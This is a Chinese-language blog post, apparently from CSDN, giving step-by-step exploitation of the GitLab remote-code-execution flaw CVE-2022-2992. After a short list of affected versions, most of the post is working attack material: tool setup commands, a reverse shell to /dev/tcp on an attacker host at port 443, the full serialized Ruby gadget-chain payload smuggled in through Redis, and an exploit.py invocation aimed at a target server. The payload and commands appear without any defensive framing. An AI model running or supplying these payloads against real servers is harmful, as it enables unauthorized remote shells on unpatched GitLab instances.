gitlab 命令执行漏洞(CVE-2022-2992)

1.漏洞影响版本

GitLab CE/EE 中的一个漏洞影响从 11.10 开始到 15.1.6 之前的所有版本、从 15.2 开始到 15.2.4 之前的所有版本、从 15.3 开始到 15.3.2 之前的所有版本。允许经过身份验证的用户通过从 GitHub API 端点导入实现远程代码执行。

查看 gitlab 版本。(登录后才能看到)

http://xxx/api/v4/version

2.漏洞工具

https://github.com/CsEnox/CVE-2022-2992#expected-output-in-each-window

装一下工具环境

bash 复制代码
sudo apt install ruby python3 python3-pip
gem install redis (一般这个都没装)
pip install flask

3.漏洞利用

1.现在要生成序列化的有效负载,请运行Payload_gen.rb并保存有效负载。下面是一个例子:

ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/xxx29/443 0>&1"'

2.在server.py中相应地更新 NGROK_URL 和 PAYLOAD 变量。下面是一个例子:

(NGROK_URL替换为攻击机所在vpsip。)

bash 复制代码
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/xxx29/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'http://vpsip:5000'

3.注册 gitlab 账号,在 gitlab 上为用户创建访问令牌并选择所有范围。

http://xxxxx/-/profile/personal_access_tokens

4.运行exploit.py注意,这里直接在vps 运行,可以省略使用工具中提到的ngrok工具做内网穿透,实测使用ngrok做内网穿透也会有访问上的问题,强烈推荐直接使用vps 运行 exploit.py

bash 复制代码
python3 exploit.py -a ZjY4CzUxxxxx -u http://vpsip:5000 -t http://www.gitlab.com:4567/

5.命令执行成功。

相关推荐
ASKED_201915 小时前
GitLab CI|CD 配置笔记
笔记·ci/cd·gitlab
木雷坞2 天前
csdn-enterpriseGitLab Runner docker pull 慢:并行流水线镜像拉取排查
运维·docker·容器·gitlab
一只大袋鼠2 天前
Git (三):Tag 标签管理、图形工具、IDEA 集成与 GitLab 私有化部署
开发语言·git·gitlab
Lyra_Infra4 天前
故障排查报告:GitLab 18.11.3 后台 Settings 500
gitlab
Mike_6667 天前
git@gitlab-rdc.xxxxx.com: Permission denied (publickey).fatal: 无法读取远程仓库。
git·elasticsearch·gitlab
雨声不在9 天前
gitlab ci Runner 配置
gitlab·cicd
曾庆睿10 天前
【基于 RHEL 9.3 的 K8s + GitLab 全自动化部署环境搭建第一篇】
kubernetes·自动化·gitlab
曾庆睿10 天前
【基于 RHEL 9.3 的 K8s + GitLab 全自动化部署环境搭建第二篇】
kubernetes·自动化·gitlab
xmlhcxr14 天前
从 0 到 1 落地企业级 DevOps CI/CD 流水线:基于 GitLab+Jenkins+Harbor 的完整实践
运维·docker·gitlab·jenkins·harbor·devops